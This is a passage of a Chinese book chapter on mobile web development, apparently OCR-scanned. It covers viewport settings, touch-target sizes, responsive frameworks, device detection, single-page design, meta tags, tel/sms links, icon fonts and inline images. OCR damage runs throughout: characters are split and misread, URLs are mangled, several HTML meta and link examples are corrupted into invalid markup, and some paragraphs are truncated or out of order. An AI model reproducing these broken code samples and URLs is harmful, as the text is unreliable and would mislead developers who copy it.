
<meta name=viewport content="width=device-width, initial-scale=1"> 





























尽管 可 以 设置 minimun-scale、maximum-scale 和 user-scalable， 但 从 用 户 体验 上 考虑 ， 应 该 避免 设置 这 些 属 性 值 ， 即 允许 用 户 缩放 页 面 。 





























(6) 增加 链接 和 按钮 的 可 操作 区 域 





























12.1.2 节 介绍 过 网 页 在 移动 设备 和 PC 中 的 可 操作 性 差异 ， 总 结 一 点 就 是 在 移动 设备 中 使 用 手指 触摸 的 精准 度 低 ， 需 要 更 大 的 操作 区 域 。 为 了 使 网 页 能 更 好 地 兼容 移动 设备 ， 就 需要 确保 主要 的 可 操作 控 
件 能 很 容易 地 在 移动 设备 上 操作 。 根 据 Android 平 台 的 开发 规范 @， 这 些 控件 的 高 度 或 者 宽度 至 少 应 该 有 48 像 素 (CSS 设 置 ) 。 相 邻 的 点 击 控件 之 间 应 该 留 有 足够 的 空间 ， 防 止 一 次 操作 多 个 目标 控件 。 推 
荐 的 间隔 是 至 少 32 像 素 。 



































如 果 相同 的 显示 效果 无 法 同时 兼顾 各 种 尺寸 的 设备 ， 则 可 以 专门 为 更 小 尺寸 提供 一 个 不 同 的 方案 。 例 如 ， 在 常见 的 页 面 导航 栏 ， 如 果 导 航 栏 项 目 过 多 ， 则 在 小 尺寸 的 移动 设备 中 会 显得 很 拥挤 。 因 此 ， 
应 该 针对 这 些小 尺寸 屏幕 设计 不 同 的 显示 效果 ， 比 如 使 用 下 拉 列 表 框 的 方式 。 有 篇 文章 详细 介绍 了 如 何 设计 和 实现 兼容 移动 设备 的 导航 栏 ( 站 ， 其 基本 的 思想 是 在 页 面 中 添加 两 个 不 同 显示 效果 的 导航 栏 ， 然 
后 利用 Media queries 技 术 切 换 显 示 不 同 的 导航 效果 。 

























































































(7) 使 用 响应 式 设计 框架 























向 应 式 设计 (Responsive Web Design) 是 目前 比较 流行 的 网 页 设计 理念 ， 其 目的 是 在 不 同 显 示 尺寸 的 场景 下 设计 易于 阅读 和 使 用 的 网 页 。 响 应 式 设计 最 早 是 在 2010 年 被 Ethan Marcotte 提 出 来 
的 [10]。 他 在 2011 年 专门 写 了 一 本 书 ， 书 名 就 是 《响应 式 设计 》。2012 年 以 来 ， 响 应 式 设计 的 影响 力 逐 渐 加 强 ， 甚 至 有 人 说 2013 年 是 响应 式 设计 年 (11]， 可 见 其 对 当今 网 页 设计 与 开发 的 影响 。 

































































向 应 式 设 计 包括 了 多 种 技术 ， 比 如 上 面 介 绍 的 流 式 布 局 、 图 片 兼容 显示 、Media queries 等 前 端 技 术 。 学 习 这 些 技 术 并 不 复杂 ， 难 点 在 于 如 何 利 用 这 些 技术 设计 出 高 用 户 体验 的 网 站 。 应 用 响应 式 设计 
时 ， 经 常 遇 到 的 难题 是 在 小 尺寸 设备 中 显示 时 ， 如 何 取舍 隐藏 的 模块 。 一 个 好 的 建议 是 不 要 简单 地 隐藏 那些 在 尺寸 上 无 法 适应 设备 屏幕 的 模块 ， 而 是 按照 模块 的 重要 性 来 决定 要 隐藏 的 模块 。 


















































鉴于 响应 式 设计 的 流行 ， 出 现 了 很 多 基于 此 设计 理念 的 框架 ， 最 著名 的 就 是 Bootstrap。Bootstap 框 架 中 集成 了 当前 有 关 响应 式 设 计 的 最 佳 实践 ， 是 一 个 非常 好 的 学 习 素材 。 类 似 的 框架 还 有 Zurb 
Foundation[13 和 Skeleton[13j 等 供 开发 者 选择 。 有 开发 者 详细 列 出 了 这 几 个 流行 响应 式 设计 框架 的 对 比 [1 义 ， 方 便 开 发 者 参考 。 





























(8) 使 用 工具 检查 网 页 的 移动 设备 兼容 性 








有 很 多 的 工具 可 以 检查 网 站 针对 移动 设备 的 兼容 性 ， 推 荐 的 工具 有 MobiReady[13、W3C mobileOK Checker[16]、ipPadPeek[17 和 Google 公 司 发 布 的 Howtogomo[18]。iPadPeek 是 一 个 很 直观 的 工 
， 让 用 户 输入 测试 网 址 ， 直 接 在 页 面 上 展示 所 测试 网 址 的 实际 展示 效果 。Howtogomo 除 了 显示 移动 设备 上 的 截屏 之 外 ， 还 会 给 出 兼容 移动 设备 的 修改 建议 。 







































































12.1.4 ”开发 移动 Web 站 点 的 准备 工作 




















12.1.3 节 介绍 了 如 果 让 桌面 版 的 Web 站 点 兼容 移动 设备 ， 但 随 着 移动 端 用 户 的 增加 ， 最 佳 的 做 法 是 单独 开发 一 个 移动 端 站 点 ， 从 而 提高 移动 端 用 户 的 体验 。 在 开发 一 个 移动 端 站 点 之 前 ， 需 要 考虑 如 下 
几 个 问题 。 


























(1) 确定 支持 的 移动 设备 























在 开发 一 个 移动 站 点 之 前 ， 必 须要 确定 网 站 需要 支持 的 移动 设备 ， 这 关系 到 网 站 的 设计 、 所 使 用 的 前 端 技术 等 。 如 果 支 持 的 设备 尺寸 广泛 ， 则 设计 上 就 需要 考虑 得 更 多 。 同 时 ， 如 果 使 用 的 技术 得 不 到 
目标 设备 的 支持 或 者 在 设备 上 运行 的 性 能 差 ， 则 还 需要 考虑 代 蔡 的 方案 。 因 此 ， 在 开发 移动 站 点 时 ， 要 优先 考虑 网 站 的 目标 设备 。 考 察 的 设备 指标 包括 : 屏幕 显示 尺寸 、DPI、 内 存 及 CPU 性 能 、 常 用 浏览 
器 版 本 等 。 这 些 指标 决定 着 网 站 开发 的 复杂 度 、 所 使 用 技术 的 范围 等 。 在 开始 一 个 移动 端 网 站 开发 时 ， 应 该 有 专门 的 文档 来 明确 以 上 所 述 的 设备 指标 ， 并 在 开发 过 程 中 严格 按照 所 定 标准 来 进行 测试 。 这 样 
才能 防止 在 开发 的 后 期 出 现 各 种 性 能 或 兼容 性 问题 。 




































































(2) 处 理 和 桌面 端 主 网 站 的 交互 









































移动 站 点 和 桌面 端 站 点 的 主要 差别 在 于 网 站 的 前 端 交互 和 展现 部 分 ， 至 于 后 端 逻 辑 ， 没 有 太 大 差别 ， 是 可 以 在 两 个 站 点 中 重用 的 。 该 架构 类 似 于 图 12-7。 


























移动 版 站 点 PC 版 站 点 














12-7 ”移动 端 站 点 和 桌面 端 站 点 的 关系 图 




















在 具体 的 开发 中 ， 有 两 种 可 操作 方案 : 可 以 考虑 把 两 个 站 点 合并 为 一 个 站 点 发 布 ， 移 动 端 站 点 和 桌面 端 站 点 对 应 的 代码 放置 于 不 同 的 代码 文件 来 中 ， 也 可 以 分 开 为 两 个 独立 的 项 目 ， 但 共用 相同 的 后 端 
数据 API。 但 如 果 移 动 站 点 的 内 容 过 于 庞大 ， 推 荐 使 用 独立 的 开发 项 目 ， 这 样 便于 开发 、 发 布 与 维护 。 
































移动 端 网 站 的 域名 一 般 是 选取 桌面 端 网 站 域名 的 二 级 域名 。 二 级 域名 的 名 称 建议 选取 mobile 或 者 m。 例 如 ， 桌 面 端 网 站 的 网 址 为 www.sample.com， 则 移动 端 网 站 的 网 址 选择 m.sample.com 或 
者 mobile.sample.com。 如 果 在 移动 智能 设备 的 浏览 器 中 输入 桌面 端 主 网 站 的 网 址 ， 应 该 要 自动 跳 转 到 移动 端的 网 站 ， 但 同时 在 桌面 端 网 站 和 移动 端 网 站 上 提供 相互 的 网 站 链接 ， 从 而 给 用 户 提供 更 多 的 
站 体验 。 
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检测 移动 设备 的 方式 是 通过 判断 设备 浏览 器 的 User-Agent 来 实现 的 。User-Agent 会 包含 设备 的 一 些 信息 ， 这 些 信息 会 帮助 开发 者 判断 是 否 需要 引导 用 户 浏览 移动 端 网 站 。 推 荐 几 个 检测 移动 设备 的 
发 库 ， 如 果 期 望 简单 地 通过 JavaScript 判 断 是 否 为 移动 设备 ， 则 可 以 使 用 sMobile[19 和 mobile-detect[20] 库 ， 其 他 更 复杂 精细 的 检测 方式 ， 推 荐 使 用 Mobile-Detect[21]。Mobile-Detect 是 使 用 PHP 技 术 实 
现 的 ， 实 现 的 原理 是 通过 检测 User-Agent 和 HTTP 头 来 判断 设备 信息 。 其 提供 了 多 个 接口 供 调用 ， 包 括 最 简单 的 isMobile 和 isTablet 方 法 。 






















































































(3) 设计 移动 站 点 为 单 页 模式 ， 避 免 页 面 跳 转 












































设计 移动 站 点 为 单 页 模式 是 有 很 多 好 处 的 。 首 先 ， 单 页 模式 能 给 用 户 提供 类 似 于 原生 应 用 的 体验 ， 因 为 单 页 模式 避免 了 页 面 跳 转 ， 所 以 用 户 几乎 感觉 不 到 操作 时 的 等 待 ， 加 快 了 用 户 访问 的 速度 。 其 
次 ， 移 动 设备 的 浏览 器 不 像 PC 端 浏览 器 ，PC 端 浏览 器 为 了 同时 浏览 多 个 网 页 ， 是 以 多 个 tab 的 方式 展现 的 ， 用 户 可 以 切换 不 同 的 tab 来 浏览 不 同 的 网 页 。 但 是 在 移动 设备 中 ， 受 限于 浏览 窗口 的 大 小 ， 普 遍 
没有 提供 这 样 便利 的 方式 。 如 果 在 设备 上 打开 了 另外 一 个 网 页 ， 则 并 不 容易 再 回 到 之 前 的 网 页 中 。 

























































































因此 ， 在 移动 站 点 的 设计 中 ， 应 该 避免 页 面 的 跳 转 。 除 了 规划 页 面 整个 的 设计 之 外 ， 还 应 该 拦截 所 有 页 面 中 超 链 接 的 默认 跳 转 方式 ， 并 修改 为 更 友好 的 弹出 层 显示 。 












































目前 ， 大 部 分 流行 的 移动 Web 框 架 都 是 基于 单 页 模式 而 构建 的 。 开 发 者 可 以 很 容易 地 使 用 这 些 框架 开发 单 页 模式 的 站 点 。 











(4) 选择 一 个 合适 的 移动 前 端 框架 

















确定 了 站 点 整体 结构 后 ， 就 可 以 着 手 选择 使 用 的 技术 架构 了 ， 选 择 一 个 合适 的 移动 端 前 端 框架 是 很 重要 的 ， 能 节省 很 大 的 开发 成 本 。 选 择 前 端 框架 要 结合 实际 的 需求 复杂 度 、 团 队 成 员 的 技术 背景 来 考 
量 ， 并 同时 还 要 考虑 框架 本 身 的 性 能 要 求 。 目 前 ， 流 行 的 前 端 框架 主要 有 如 下 几 种 : jQuery mobile[22]、Sencha TouchP23、Kendo UII24、lonic25] 等 。 












































jQuery mobile 系 出 “名 门 ”， 和 jQuery 来 自 于 同一 个 团队 。jQuery moble 框 架 也 依赖 于 jQuery 框架 ， 在 使 用 和 jQuery 一 脉 相 承 ， 熟 悉 JQuery 的 开发 者 会 很 容易 学 会 使 用 Query mobile 框 架 。 




































































Sencha Touch 也 是 大 有 来 头 ， 是 Sencha Ext JS 对 应 的 移动 端 框架 。Ext JS 框架 使 用 比较 广泛 ， 功 能 强大 。Sencha Touch 延 续 了 Sencha Ext JS 的 特点 ， 包 含 了 诸多 常用 的 控件 。 


















































lonic 框 架 发 布 的 时 间 不 长 (在 2013 年 11 月 份 发 布 了 alpha 版 本 ) ， 虽然 是 新 发 布 框架 ,但 其 功能 很 强大 。 开 发 者 可 以 基于 Node.js 技 术 快 速 构建 一 个 使 用 lonic 框 架 的 移动 站 点 。lonic 深 度 集成 了 
AngularJS， 并 提供 了 一 系列 基于 AngularJS 的 模块 。 








以 上 的 这 些 框架 同时 支持 绝 大 多 数 的 移动 端 系统 ， 开 发 者 可 以 查看 各 框架 的 官方 网 站 获得 更 详细 的 框架 支持 列表 。 








此 外 ， 为 移动 Web 开 发 选择 一 个 合适 的 框架 ， 也 需要 考虑 性 能 问题 。 框 架 代码 文件 的 加 载 和 解析 都 需要 一 定 的 时 间 消 耗 。 虽 然 这 些 消耗 在 PC 端 并 不 会 影响 整个 的 页 面 加 载 ， 但 是 在 性 能 比 PC 差 很 多 的 




















移动 端 ， 性 能 问题 就 比较 突出 了 。 以 上 提 到 的 移动 端 Web 框 架 ， 基 本 上 都 提供 了 框架 自 定义 组 合 方式 ， 即 开发 者 可 以 按照 实际 的 项 目 需求 ， 有 选择 地 使 用 其 中 部 分 的 模块 ， 而 不 是 包含 框架 中 所 有 的 模块 。 
这 种 方式 可 以 最 大 限度 地 减少 所 使 用 框架 的 大 小 。 








(5) 如 何 调试 移动 端 页 面 





























在 站 点 开发 过 程 中 ， 调 试 和 测试 是 必 不 可 少 的 步骤 。 在 桌面 端的 浏览 器 中 基本 都 自 带 了 各 种 开发 工具 ， 但 在 移动 端的 浏览 器 中 则 缺乏 这 样 的 工具 ， 还 是 因为 这 些 开 发 工具 在 移动 端的 可 用 性 不 高 。 
不 过 ， 主 流 的 移动 端 浏览 器 都 有 对 应 的 桌面 端 浏览 器 ， 浏 览 器 内 核 基 本 相同 ， 大 部 分 情况 下 ， 开 发 者 可 以 在 桌面 端 浏 览 器 中 打开 移动 端 站 点 ， 调 试 和 测试 页 面 。 例 如 ，Chrome 浏 览 器 自 带 的 开发 工具 中 提 
供 了 各 种 模拟 场景 ， 包 括 模拟 设备 型 号 、 屏 幕 尺寸 、User Agent、 手 势 操作 等 ， 如 图 12-8 所 示 。 

































































Console Search | Emulation | Rendering 





Device samsung Galaxy Note 3 


Screen 


Emulate 
User Agent 


Sensors Viewport: 1080 x 1920, devicePixelRatio = 2 





User agent: Mozilla/S.0 (Linux: U: Android 4.3: en-us: SM-MN900T Build/ 


图 12-8 ”Chrome 浏览 器 开发 工具 中 自 带 的 移动 设备 模拟 功能 
































如 果 有 涉及 桌面 端 无 法 模拟 的 部 分 ， 比 如 手势 操作 ， 则 可 以 使 用 远程 调试 的 方式 直接 调试 加 载 到 移动 设备 中 的 页 面 。Android 系 统 中 可 以 使 用 移动 端 Chrome 浏 览 器 加 载 测试 页 面 ， 并 在 桌面 端 使 用 
Chrome 浏 览 器 远程 调试 26。iOS 系 统 中 也 有 类 似 的 功能 ， 通 过 桌面 端 Safari 浏 览 器 远程 调试 移动 端 Safari 浏 览 器 中 加 载 网 页 。 前 提 是 要 在 移动 设备 中 开启 Debug 模 式 并 用 数据 线 和 PC 连接 。 图 12-9 展 示 了 
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图 12-9 使 用 Chrome 浏 览 器 远程 调试 Android 设 备 中 打开 的 站 点 
1] http://www.netmarketshare.com/ 
2] https:/ /developer.apple.com/library /safari/documentation/ Apple Applications/Reference/Safai HTMLRef/ Articles/MetaTags.html#/ /apple_ref/doc/uid/TP40008193-SW2 
3] https:/ /developer.apple.com/library /safari/documentation/ UserExperience/Reference/TouchEventClassReference/TouchEvent/TouchEvent.html#//apple_ref/doc/uid/TP40009358 
4] http:/ /www.w3.0rg/TR/touch-events/ 
5] https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Media_queries 
6] http://cssmediaqueries.com/ 


[7] https:/ /github.com/scottjehl/picturefi ll 




















8] https://developer.android.com/ design/style/metrics-grids.html 


9] http://css-tricks.com/convert-menu-to-dropdown/ 
10] http://alistapart.comyarticle/tresponsive-web-design 
11] http://mashable.com/2012/12/11/responsive-web-design/ 
12] http:/ /foundation.zurb.com/ 

13] http:/ /www.getskeleton.com/ 

14] http:/ /responsive.vermilion.com/compare.php 

15] http:/ /ready.mobi/launch.jsp 

16] http://validator.w3.0rg/mobile/ 

17] http://ipadpeek.com/ 

18] http://www.google.com/think/multiscreen/ 

19] https://github.com/kaimallea/isMobile 

20] https://github.com/hgoebl/mobile-detect.js 

21] https://github.com/serbanghita/ Mobile-Detect 

22] http:/ /jquerymobile.com 

23] http:/ /www.sencha.com/products/touch 

24] http:/ /www.telerik.com/kendo-ui 


25] http:/ /ionicframework.com 











26] https://developers.google.com/chrome-developer-tools/docs/remote-debugpging 


12.2 ”移动 Web 前 端 开发 相关 技术 最 佳 实践 




















前 面 章节 中 介绍 过 HTML、CSS、JavaScript 及 HTML5 新 特性 使 用 的 相关 最 佳 实践 。 在 移动 端 网 页 开发 中 ， 前 面 所 介绍 的 大 部 分 实践 方法 都 是 适用 的 。 而 且 ， 在 移动 平台 中 的 主流 浏览 器 中 ，HTML5 新 
特性 得 到 了 很 好 的 支持 ， 因 此 ， 在 使 用 过 程 中 ， 有 些 新 特性 根本 不 需要 添加 任何 的 兼容 方案 即 可 使 用 ， 节 省 了 很 大 的 开发 成 本 。 同 时 ， 在 移动 端的 Web 前 端 开发 中 ， 由 于 系统 、 性 能 、 尺 寸 等 方面 存在 差 
异 ， 因 此 导致 某 些 技术 在 使 用 上 需要 经 过 特别 处 理 或 者 取舍 。 本 节 开 始 介绍 移动 端 Web 开 发 相关 的 最 佳 实践 ， 包 括 编写 HTML、CSS 和 JavaScript 代 码 相关 最 佳 实践 。 





























































































































12.2.1 ” HTML 相关 最 佳 实践 


(1) 在 页 面 head 中 添加 必要 的 meta 或 link 信 息 












































由 于 智能 移动 设备 的 特殊 性 ， 因 此 浏览 器 厂商 针对 移动 端 网 站 添加 了 多 个 不 同 功能 的 meta 和 link 设 置 。 页 面 中 添加 了 这 些 设 置 ， 使 得 用 户 在 移动 设备 中 有 了 更 好 的 用 户 体验 。 大 部 分 设置 是 针对 iOS 系 
统 和 Android 系 统 的 。 常 用 的 设置 如 下 : 

































































<!-- 移动 设备 的 viewport 设 置 。 --> 

<meta name = "viewport" content = "user-scalable=no, initial-scale=1.0, maximum-scale=1.0, width=device-width"> 
<!-- 移动 端 Safari 中 ， 设 置 页 面 全 屏 模式 ， 此 设置 人 幕后 ， 并 从 主屏 幕 启动 页 面 时 起 作用 --> 

<meta name="apple-mobile-web-app-capable" content="yes" 

<!-- 设置 页 面 全 屏 模式 ， 此 设置 只 1 有 在 责 而 茶 加 到 主屏 区 后 ， 基 以 守 弃 和 和 动 页 面 时 起 作用 ， Rndroid 平 台 的 Chrome 浏 览 器 支持 此 设置 --> 
<meta name="mobile-web-app-capable" content="yes" /> 

<!-- 移动 端 safari 中 ， 在 页 面 全 屏 模式 ，status bar 的 样式 --> 





<meta name="a PP1e- -mobile-web-app-status-bar-style" content="black" /> 

<!-- 智能 设备 中 ， 是 否 自动 识别 电话 号 伺 --> 

<meta name—" format™ detection" content="telephone=no" 

<!-- ios 平 台中 ， 页 面 添加 到 主 幕 时 使 用 的 图 标 。 人 类 型 的 设备 2 

<link olnapoie touch-icon" href="touch-icon-iphone.png"> 

<link rel="apple-touch-icon" sizes="76x76" href="touch-icon-ipad.png"> 

<link rel="apple-touch-icon" 120x120" href="touch-icon-iphone-retina.png"> 
<link rel="apple-touch-icon" sizes="152x152" href="touch-icon-ipad-retina.png"> 











































































































在 如 上 的 设置 中 ， 很 多 的 设置 是 针对 把 网 站 访问 链接 添加 到 主屏 幕 的 。 移 动 设 备 提供 的 这 一 添加 网 站 访问 到 主屏 幕 的 功能 ， 目 的 是 给 用 户 提供 一 种 类 似 原生 应 用 的 体验 ， 消 除 原生 应 用 和 Web 应 用 之 间 
的 体验 差异 。 从 提高 用 户 体验 的 角度 来 讲 ， 在 页 面 的 head 中 针对 这 个 功能 添加 各 种 设置 是 很 有 必要 的 。 







































































以 上 这 些 是 常用 的 设置 。 在 具体 的 使 用 过 程 中 ， 还 是 以 实际 需求 来 设置 或 者 取舍 ， 并 不 局 限于 示例 代码 中 的 设置 方式 ， 比 如 希望 浏览 器 能 自动 识别 电话 号 码 ， 则 按照 如 下 的 meta 设 置 : 



































<meta name="format-detection" content="telephone=yes" /> 





此 外 ， 还 有 一 些 设置 随 着 支持 的 设备 越 来 越 少 而 逐渐 废弃 ， 如 Handheld-Friendly、MobileOptimized 等 meta 设 置 。 在 页 面 中 也 不 必 添加 这 些 已 经 不 适用 的 设置 。 









































(2) 利用 移动 设备 的 便利 性 

















大 部 分 的 智能 移动 设备 为 智能 手机 ， 基 于 此 ， 可 以 考虑 在 网 页 中 提供 方便 的 链接 ， 户 可 以 快速 地 使 用 手机 打 电 话 或 发 短信 。 类 似 的 ， 还 可 以 在 PC 端 网 页 中 使 用 mailto 链 接 ， 让 用 户 点 击 并 快速 发 邮 
件 。 如 下 是 具体 的 示例 : 
































<a href="tel:1-406-666-XXXX">1-406-666-XXXX</a> 
<a href="sms :1-406-666-XXXX"> 发 信息 </a> 

















这 个 设置 和 上 面 设置 的 电话 号 码 自动 识别 meta 并 不 冲突 ，meta 设 置 是 控制 让 设备 不 自动 识别 的 ， 而 这 个 tel 和 sms 类 型 的 链接 是 手动 添加 的 链接 ， 即 当 关 闭 自动 电话 号 码 识别 时 ， 仍 然 可 以 在 页 面 上 添 
加 tel 和 sms 类 型 的 链接 。 





















































智能 设备 中 ， 户 在 网 页 的 文本 框 中 输入 内 容 时 ， 一 般 会 自动 弹出 系统 虚拟 键盘 供用 户 输入 。 在 常见 的 智能 系统 中 ， 虚 拟 键 盘 针 对 不 同文 本 框 的 类 型 会 显示 不 同 的 界面 。 开 发 者 可 以 利用 这 一 特 
性 ， 比 如 ， 在 设置 页 面 文本 框 类 型 时 可 以 设置 更 精确 的 类 型 ， 而 不 仅仅 是 设置 text、password 等 常规 类 型 。 在 HTML5 规 范 中 ， 新 加 入 了 大 量 的 input 类 型 ， 包 括 search、tel、url、email、date、time、 
number、range 等 。 图 12-10 是 设置 input 类 型 为 number 时 ， 在 iOs 系 统 中 虚拟 键盘 的 界面 。 



























































Untitled 


return 





图 12-10 文本 框 设 置 为 humber 类 型 时 ， 虚 拟 键盘 默认 的 显示 界面 











移动 设备 还 普遍 有 GPS 功能 ， 开 发 者 也 可 以 利用 这 一 功能 获取 用 户 的 地 理 位 置 并 提供 一 定 的 互动 。 

















(3) 不 要 使 用 <iframe>， 谨 慎 使 用 <table> 标 签 























在 大 部 分 情况 下 ， 移 动 智能 设备 上 很 难 适 配 <table> 和 <iframe> 的 显示 ， 其 屏幕 宽度 不 够 ， 要 么 内 容 被 这 盖 ， 要 么 就 是 整个 布局 变 乱 。 














为 了 提高 移动 平台 用 户 的 阅读 体验 ， 应 尽量 使 用 列表 控件 (<ul>、<ol> ) 代 蔡 <table> 来 显示 数据 。 如 果 必须 要 使 用 <table> 标 签 ， 也 应 适当 调整 设计 ， 把 横向 展现 的 数据 改变 为 竖 向 显示 ， 并 尽量 保 
证 <table> 的 布局 不 要 超过 两 列 。jQuery mobile 框 架 中 设计 了 一 整套 的 表格 展示 解决 方案 。 主 要 有 两 种 处 理 方式 : 第 一 种 是 按照 显示 数据 的 优先 级 ， 在 小 屏幕 设备 中 隐藏 优先 级 低 的 数据 列 []。 另 外 一 种 是 
把 表格 的 横向 排列 改 为 纵向 排列 各， 这 样 就 避免 了 因为 屏幕 宽度 的 限制 而 遮挡 数据 列 的 问题 了 。 图 12-11 和 图 12-12 展 示 在 使 用 Query mobile 框 架 时 ， 表 格 在 不 同 宽度 显示 时 自动 变换 显示 模式 。 图 12-11 
展示 表格 常规 横向 排列 模式 ， 图 12-12 展 示 表 格 竖 向 排列 模式 。 



























































































































































Q1 2012 Q2 2012 
Store Income Profit Change Income Profit Change 


Boston 2,898 739 -5.8% 3,647 1,354 +5.8% 


Chicago 2,898 739 -5.8% 3,647 1,354 +5.8% 


NYC 2,898 739 -5.8% 3,647 1,354 +5.8% 





图 12-11 表格 常规 横向 排列 模式 


Q1 2012 


Income 


Q2 2012 


Income 


Profit 





图 12-12 表格 坚 向 排列 模式 



































一 个 超 链 接 来 代替 ， 而 不 是 把 第 三 方 网 页 内 谋 在 页 面 上 。 上 文 介绍 过 移动 站 点 设计 应 该 使 用 单 页 模式 ， 而 超 链 接 的 使 用 会 破坏 单 页 模式 ， 因 此 ， 这 并 不 是 一 个 好 的 方案 ,更 
展现 。 











对 于 <iframe>， 则 可 以 使 
好 的 方式 是 让 第 三 方 的 网 页 提供 页 面 内 容 的 AP1， 内 容 为 XML 或 者 JSON 格 式 ， 这 样 就 不 需要 使 用 <iframe> 引 入 第 三 方 网 页 了 ， 而 是 取得 网 页 的 内 容 并 按照 适应 移动 设备 的 方式 重新 设计 内 容 的 























12.2.2 CSS 相关 最 佳 实践 








这 些 实践 方 












































前 面 章节 在 介绍 响应 式 设计 时 ， 介 绍 了 多 个 网 页 兼容 移动 平台 的 实践 方法 ， 比 如 ， 使 用 相对 单位 设置 元 素 尺 寸 ， 可 点 击 控件 设置 足够 大 的 尺寸 可 点 击 控件 之 间 需 要 留 有 足够 大 的 空间 等 。 
法 在 移动 Web 开 发 中 尤其 需要 重视 。 在 移动 Web 开 发 中 ， 除 了 以 上 提 到 的 这 些 最 佳 实践 之 外 ， 还 需要 特别 关注 如 下 和 CSS 相 关 的 实践 方法 。 
































(1) 尽量 少 用 图 片 ， 并 使 用 内 联 图 片 代 蔡 小 图 片 










































































在 传统 的 桌面 网 页 中 ， 图 片 是 不 可 或 缺 的 元 素 ， 很 多 网 站 中 都 使 用 了 大 量 的 图 片 来 装饰 。 但 在 页 面 中 使 用 图 片 的 缺点 也 很 明显 ， 即 会 占用 很 大 的 流量 ， 并 且 会 增加 页 面 泻 染 时 间 。 这 些 缺 点 在 性 能 和 网 
络 带 宽 都 有 局 限 的 智能 移动 设备 上 尤为 突出 。 因 此 ， 在 移动 Web 前 端 开 发 中 ， 应 尽量 少 用 图 片 ， 最 好 使 用 CSS 样 式 来 美化 页 面 ， 对 于 CSS3 中 新 加 入 的 特性 更 是 可 以 大 量 使 用 。 如 CSS3 中 的 背景 色 渐变 、 投 
影 等 都 有 非常 漂亮 的 效果 ， 尤 其 是 利用 Web fonts 制 作 漂亮 的 字体 或 者 小 图 标 。 有 很 多 使 用 广泛 的 第 三 方 类 库 ， 提 供 了 大 量 的 图 标 类 型 的 字体 ， 如 Font AwesomeB] 和 Bootstrap Glyphicons 办 等 。Font 
Awesome 中 包含 了 多 达 439 个 图 标 ， 而 Bootstrap 中 也 包含 了 200 个 图 标 ， 这 些 类 库 基本 涵盖 了 页 面 中 常用 到 的 小 图 标 。 开 发 者 把 这 些 图 标 作为 一 种 特殊 的 字体 使 用 即 可 ， 这 样 一 来 ， 仅 仅 通过 设置 字体 的 大 










































































































































































































































































小 和 颜色 的 方式 就 可 以 修改 图 标的 样式 。 如 下 示例 展示 了 使 用 Bootstrap 设 置 一 个 搜索 图 标的 情况 。 






























































<span class="glyphicon glyphicon-search"></span> 























除了 考虑 使 用 Web fonts 技 术 蔡 换 部 分 图 片 外 ， 也 可 以 把 一 些小 尺寸 的 图 片 转换 为 内 联 图 片 来 展现 ， 即 把 图 片 内 容 转换 为 Base64 格 式 ， 并 借助 Data URLsP] 技 术 把 图 片 内 容 直 接 写 在 CSS 或 者 HTML 文 
档 中 。 其 原理 是 减少 了 加 载 图 片 的 HTTP 请 求 数量 ， 从 而 加 快 了 页 面 展现 的 速度 。 内 联 图片 可 以 是 CSS 背 景 图 ， 也 可 以 是 页 面 的 图 片 内 容 。 在 CSS 中 使 用 内 联 图 片 的 例子 如 下 。 
































































































































小 到 /二 
background: 
url (data:image/gif;base64, ROl1GOD1hEAAQAMOAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolf000/XBs/fNw£j20fr13/zy7////w 
no-repeat 
left center; 





} 








在 HTML 中 使 用 内 联 图 片 的 例子 如 下 。 


























<img alt="star" src="data:image/gif;base64, ROl1GODIhEAAQAMOAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolf000/XBs/fNwfj20fr13/zy7////w 











(2) 不 要 使 用 :hover 伪 类 设置 悬 停 效 果 
































由 于 在 移动 平台 上 的 操作 方式 主要 以 手势 触摸 ， 因 此 移动 平台 的 浏览 器 中 不 会 出 现 类 似 在 PC 中 鼠标 悬 停 的 动作 。 尽 管 在 某 些 情况 下 ， 移 动 平 台中 能 触发 悬 停 效 果 ， 比 如 手势 操作 在 屏幕 上 按 下 时 ， 但 这 
个 触发 的 时 机 并 不 是 期 望 的 。 因 此 ， 在 移动 Web 开 发 中 ， 避 免 通 过 设置 :hover 伪 类 来 设置 悬 停 效果 。 如 果 为 了 体现 当前 元 素 处 于 激活 状态 ， 则 可 以 改 用 :active 伪 类 来 进行 相应 的 设置 。 


































































































在 桌面 端 ， 当 鼠标 悬 停 于 页 面 中 某 些 元 素 时 会 显示 提示 信息 ， 这 是 由 于 元 素 上 设置 了 title 属 性 。 但 是 ， 这 样 的 效果 同样 由 于 移动 设备 的 缺陷 而 无 法 实现 ， 因 此 ， 在 移动 Web 开 发 中 ， 需 要 有 额外 的 设计 
来 增加 页 面 的 提示 信息 ， 比 如 在 元 素 旁边 添加 一 个 提示 按钮 或 者 链接 ， 点 击 此 按钮 或 链接 时 弹出 提示 信息 。 





























(3) 设置 合理 的 字体 大 小 和 行 高 





























大 部 分 智能 移动 设备 的 尺寸 都 比 PC 小 很 多 ， 同 样 的 字体 大 小 ， 在 移动 设备 上 的 阅读 体验 要 比 在 PC 上 差 。 为 了 让 网 页 上 的 内 容 在 移动 设备 上 更 易于 阅读 ， 推 荐 设置 的 字体 大 小 最 小 为 16 像 素 。 如 果 页 面 
上 有 大 量 的 文字 内 容 ， 则 应 该 加 大 行 间距 ， 推 荐 设置 行 高 为 1.5。 除 了 设置 正文 的 默认 字体 大 小 外 ， 还 应 该 给 以 文字 内 容 为 主 的 页 面 中 添加 字体 大 小 选项 ， 给 用 户 提供 一 种 自 定义 字体 大 小 的 功能 。 在 PC 端 
的 Web 网 页 中 经 常会 有 让 用 户 选 择 内 容 字体 大 小 的 功能 ， 但 相 较 于 PC， 移 动 设备 之 间 的 屏幕 大 小 、 分 辩 率 等 差异 更 大 ， 所 以 这 个 功能 在 移动 Web 网 页 中 更 加 重要 。 例 如 ， 正 文 的 文字 不 要 设置 任何 的 阴影 
效果 ， 避 免 降低 用 户 的 阅读 体验 。 当 然 ， 标 题 、 提 示 语 等 简短 的 文字 除外 。 
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(4) 在 不 需要 选中 文字 的 区 域 禁用 文字 选中 功能 

































































但 在 某 些 可 点 击 控件 或 区 域 中 ， 用 户 很 容易 误 操作 而 























在 各 智能 移动 设备 的 浏览 器 中 ， 基 本 都 有 文字 长 按 选 中 功能 ， 这 样 可 方便 用 户 选中 文字 并 进行 复制 、 全 选 及 粘贴 等 操作 。 这 是 一 个 很 有 用 的 功能 ， 
